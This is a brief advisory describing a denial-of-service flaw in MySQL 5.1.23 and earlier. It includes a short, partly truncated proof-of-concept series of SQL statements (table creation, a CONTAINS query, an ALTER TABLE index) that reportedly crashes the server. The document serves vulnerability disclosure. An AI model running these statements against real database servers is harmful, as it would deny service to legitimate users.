MySQL is prone to a remote denial-of-service vulnerability because the database server fails to properly handle unexpected input.

Exploiting this issue allows remote attackers to crash affected database servers, denying service to legitimate users. Attackers must be able to execute arbitrary SQL statements on affected servers, which requires valid credentials to connect to affected servers.

This issue affects MySQL 5.1.23 and prior versions.

`id` int(10) unsigned NOT NULL AUTO_INCREMENT PRIMARY KEY,
`foo` text NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;

mysql> SELECT * FROM test WHERE CONTAINS(foo, 'bar');
Empty set

mysql> ALTER TABLE test ADD INDEX (foo(100));
